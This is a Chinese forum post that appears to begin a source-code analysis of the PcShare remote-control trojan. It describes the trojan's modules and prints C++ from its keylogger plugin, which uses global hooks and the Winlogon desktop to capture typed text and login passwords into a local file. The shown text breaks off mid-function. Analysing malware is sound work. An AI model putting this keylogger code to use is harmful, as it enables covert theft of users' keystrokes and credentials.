阅读:3122回复:0
Pcshare远控源码偏重分析(一)
◆0背景
PcShare是一款功能强大的远程管理软件,可以在内网、外网任意位置随意管理需要的远程主机,该软件是由国内安全爱好者无可非议开发。在当时这款远控在大家应该比较熟悉了,VC编译器调出来的的小体积全功能木马。相比Delphi的灰鸽子真是碉堡了! 下面我们使用具有通用性的会员版本为例,进行源码分析。其他企业版本和2011版应该大同小异,有兴趣的可以自行研究。由于篇幅限制,我们主要关注一些关键代码流程,核心代码、及加密解密部分。 ◆1 代码结构 作者开源的源码包大致目录结构: C:PCSHARE├─2011年版├─企业定做│ ├─PcLKey│ ├─PcMain│ ├─PcMake│ ├─PcShare│ └─PcStart├─会员版本│ ├─PcLKey│ ├─PcMain│ ├─PcMake│ ├─PcShare│ └─PcStart├─版本工具│ ├─FileInsert│ ├─InSertPsString│ ├─NetServer│ ├─PcFileComb│ ├─PcSocksServer│ ├─PsProxy│ ├─SrcModifyTool│ ├─StrEntry│ └─UpPcShare└─界面资源 ├─tool └─[XTreme.Toolkit.9.6.MFC].Xtreme.Toolkit.Pro.v9.60文件大致作用: PcLKey键盘记录插件 PcStart可执行安装主程序 PcMake 连接型DLL小马 PcMain 主功能控制插件 PcShare 主控程序带界面 我们先看下会员版本配置界面,然后在开始分析。你可以发现会员版本和早期拿到的版本不一样,有一个捆绑文件功能,而这个功能有一个亮点“压缩编码”。想知道?继续看 PcLKey键盘记录插件 编译文件名:PcLkey.dll这款键盘记录插件的特色就是可以记录中文英文等,而且可以尝试记录系统登录密码。服务启动SYSTEM权限的,登陆系统密码记录应该是支持XP/2003的,具体大家测测看。 以下是启动监控中文和英文及登录窗口输入记录,处理流程代码。离线键盘记录数据文件以*.dll.txt存储,和dll一个目录。 #!c++ //数据文件名称 *pEnd = ◆0; lstrcat(m_ModuleFileName, ".txt"); strcpy(m_KeyFilePath, m_ModuleFileName); HDESK hOldDesktop = GetThreadDesktop(GetCurrentThreadId()); //监控中文和英文 HDESK hNewDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); if(hNewDesktop != NULL) { SetThreadDesktop(hNewDesktop); } if(NULL == g_hKeyHK_CN) { g_hKeyHK_CN = SetWindowsHookExW(WH_CALLWNDPROC, HOOK_WM_IME_COMPOSITION_Proc, ghInstance, 0); } if(NULL == g_hKeyHK_EN) { g_hKeyHK_EN = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_Proc, ghInstance, 0); } GetModuleFileName(NULL, m_ModuleFileName, 255); CharLower(m_ModuleFileName); if(strstr(m_ModuleFileName, "svchost.exe") != NULL) { //监控登录窗口 hNewDesktop = OpenDesktop("Winlogon", 0, FALSE, MAXIMUM_ALLOWED); if(hNewDesktop != NULL) { SetThreadDesktop(hNewDesktop); } if(NULL == g_hKeyHK_LG) { g_hKeyHK_LG = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_LOGIN_Proc, ghInstance, 0); } SetThreadDesktop(hOldDesktop); }英文记录核心代码:WH_GETMESSAGE全局钩子,大家的代码应该都差不多,这里主要是处理回车符和删除符。 #!c++LRESULT CALLBACK HOOK_WM_CHAR_Proc (int nCode, WPARAM wParam, LPARAM lParam){ if (nCode >= 0 ) { PMSG pMsg = (PMSG) lParam; if(pMsg->message == WM_CHAR && wParam == PM_REMOVE && GetTickCount() - nCnKeyTimeOut > 5) { nEnKeyTimeOut = GetTickCount(); switch(pMsg->wParam) { case VK_BACK: InsertBuffer(L"[ |
|
|